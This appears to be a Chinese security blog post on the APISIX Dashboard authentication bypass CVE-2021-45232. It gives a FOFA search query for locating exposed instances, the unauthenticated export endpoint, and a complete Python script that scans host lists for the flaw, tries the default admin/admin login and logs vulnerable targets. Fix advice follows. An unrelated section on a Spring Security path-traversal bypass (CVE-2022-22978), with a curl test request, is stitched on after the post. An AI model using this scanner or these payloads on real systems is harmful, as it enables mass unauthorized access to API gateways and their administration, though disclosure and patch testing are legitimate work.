Apache APISIX Dashboard 身份验证绕过漏洞 (CVE-2021-45232)

本文介绍了Apache APISIX Dashboard中发现的高危漏洞CVE-2021-45232,涉及未经身份验证的API访问。漏洞复现和检测脚本提供了解决方案,同时强调了升级到安全版本2.10.1和修改默认权限的重要性。

0x00 漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。
CVE-2021-45232
该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。
该漏洞危害等级:高危

0x01 CVE 编号

CVE-2021-45232

0x02 FOFA 查询

title="Apache APISIX Dashboard"

0x03 影响范围

Apache APISIX Dashboard < 2.10.1

根据目前FOFA系统最新数据(一年内数据),显示全球范围内(title=”Apache APISIX Dashboard”)共有 1,110 个相关服务对外开放。中国使用数量最多,共有 966 个;美国第二,共有 55 个;中国香港第三,共有 21 个;日本第四,共有 19 个;新加坡第五,共有 18 个。

0x04 漏洞复现

POC:

 host + /apisix/admin/migrate/export

0x05 批量检测脚本

import argparse
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'}


def banner():
    print(r"""
  _______      ________    ___   ___ ___  __        _  _   _____ ___  ____ ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \/_ |      | || | | ____|__ \|___ \__ \ 
| |     \ \  / /| |__ ______ ) | | | | ) || |______| || |_| |__    ) | __) | ) |
| |      \ \/ / |  __|______/ /| | | |/ / | |______|__   _|___ \  / / |__ < / / 
| |____   \  /  | |____    / /_| |_| / /_ | |         | |  ___) |/ /_ ___) / /_ 
 \_____|   \/   |______|  |____|\___/____||_|         |_| |____/|____|____/____|

 																                                               by:Ifory""")


def parse_args():
    parser = argparse.ArgumentParser(
        epilog='\tExample: \r\npython3 ' + sys.argv[0] + ' -u 127.0.0.1:9000')
    parser.add_argument("-u", "--url", type=str,
                        required=False, default=None, help="待检测URL")
    parser.add_argument("-f", "--file", type=str,
                        required=False, default=None, help="批量导入检测")
    return parser.parse_args()


def handle_url(host):
    if 'http' not in host:
        host = 'http://' + host
    return host


def poc(host):
    url = host + '/apisix/admin/migrate/export'
    try:
        respose = requests.get(url, headers=headers, verify=False, timeout=5)
        if "Counsumers" in respose.text:
            print(f"[+]{host} vul!")
            with open("vul.txt", "a", encoding="utf-8") as f:
                f.write(f"{url}\n")
        else:
            print(f"[-]{host} no vul!")
        return True
    except:
        print(f"[-]{host} 页面无法访问")
        return False


def login(host):
    url = host + '/apisix/admin/user/login'
    json = {"username": "admin", "password": "admin"}
    try:
        respose = requests.post(url, headers=headers,
                                json=json, verify=False, timeout=5)
        if '"code":0' in respose.text:
            print(f"[+]{host} default password!")
            with open("vul_login.txt", "a", encoding="utf-8") as f:
                f.write(f"{host}\n")
        else:
            print(f"[-]{host} no default password!")
    except:
        print(f"[-]{host} 页面无法访问")


if __name__ == '__main__':
    banner()
    args = parse_args()
    if args.url:
        host = handle_url(args.url)
        if poc(host):
            login(host)
    else:
        if args.file:
            with open(f"{args.file}", "r", encoding="utf-8") as put:
                for url in put.readlines():
                    host = url.strip()
                    host = handle_url(host)
                    if poc(host):
                        login(host)

引用链接:

https://github.com/Ifory885/CVE-2021-45232/blob/main/CVE-2021-45232.py

0x06 修复建议

1、升级至最新安全版本 Apache APISIX Dashboard 2.10.1:https://github.com/apache/apisix-dashboard/releases/tag/v2.10.1
2、修改默认用户名和密码,并配置访问 Apache APISIX Dashboard的白名单。

转载请注明:Adminxe's Blog » Apache APISIX Dashboard 身份验证绕过漏洞 (CVE-2021-45232)

### ### 验证 Spring Security 中 RegexRequestMatcher 的认证绕过漏洞 CVE-2022-22978 是否存在或已修复 CVE-2022-22978 是 Spring Security 中由于 `RegexRequestMatcher` 对 URL 路径的正则匹配逻辑不当,导致攻击者可以构造特定路径绕过安全配置中的访问控制规则。该漏洞影响 Spring Security 5.7.0 至 5.7.1、5.6.0 至 5.6.6、5.5.0 至 5.5.8 等版本。修复版本为 Spring Security 5.7.2、5.6.7 和 5.5.9[^1]。 为了验证当前 Spring Security 版本是否受该漏洞影响,可以构造一个绕过正则表达式匹配的请求路径,并观察其是否被错误地允许访问受保护资源。 #### ### 验证代码示例 以下是一个用于测试 `RegexRequestMatcher` 行为的 Spring Boot 应用安全配置示例: ```java import org.springframework.context.annotation.Bean; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.web.SecurityFilterChain; import org.springframework.security.web.util.matcher.RegexRequestMatcher; import org.springframework.security.web.util.matcher.RequestMatcher; @EnableWebSecurity public class SecurityConfig { @Bean public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { RequestMatcher protectedMatcher = new RegexRequestMatcher("/admin/.*", null); http .authorizeRequests() .requestMatchers(protectedMatcher).authenticated() .anyRequest().permitAll() .and() .formLogin(); return http.build(); } } ``` 在该配置中,所有以 `/admin/` 开头的路径都要求用户必须认证。为了验证是否存在 CVE-2022-22978 漏洞,可以构造如下请求路径进行测试: ``` GET /admin%2e%2e%2fsecret HTTP/1.1 Host: localhost ``` 此请求路径在某些版本的 `RegexRequestMatcher` 中可能被解析为 `/admin../secret`,从而绕过 `/admin/.*` 的正则匹配规则,导致未认证用户访问 `/admin/../secret`(即 `/secret`)资源。 #### ### 预期行为 如果 Spring Security 版本存在 CVE-2022-22978 漏洞,则上述请求将被误认为匹配 `/admin/.*`,进而允许未认证用户访问 `/secret` 页面。若版本已修复,则该请求应被正确拒绝,用户必须认证后才能访问。 #### ### 验证修复状态 可以通过检查 Spring Security 的版本并运行测试请求来确认是否已修复: - **受影响版本**:5.7.0、5.7.1、5.6.0 ~ 5.6.6、5.5.0 ~ 5.5.8 - **已修复版本**:5.7.2、5.6.7、5.5.9 及以上版本 在修复版本中,`RegexRequestMatcher` 已更新以防止路径遍历攻击,确保 URL 在匹配前被规范化,从而避免路径绕过问题。 #### ### 模拟攻击场景测试 测试控制器示例: ```java import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class TestController { @GetMapping("/admin/dashboard") public String adminDashboard() { return "Welcome to admin dashboard"; } @GetMapping("/secret") public String secret() { return "This is a secret page"; } } ``` 使用 curl 或 Postman 发送如下请求: ```bash curl -v http://localhost:8080/admin%2e%2e%2fsecret ``` 若返回 `This is a secret page` 且未要求认证,则说明存在漏洞;若返回 401 或重定向至登录页面,则说明已修复。 #### ### 验证建议 - **升级 Spring Security** 确保使用 5.7.2 或更高版本,以确保修复了 CVE-2022-22978 漏洞[^1]。 - **使用 AntPathRequestMatcher 替代** 在安全配置中优先使用 `AntPathRequestMatcher`,它对路径处理更为稳健,不易受到路径遍历攻击。 - **URL 解码与规范化** 在进行请求匹配前,确保对 URL 进行解码和规范化处理,例如使用 `UrlPathHelper` 的 `removeSemicolonContent` 和 `normalize` 方法。 ---
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值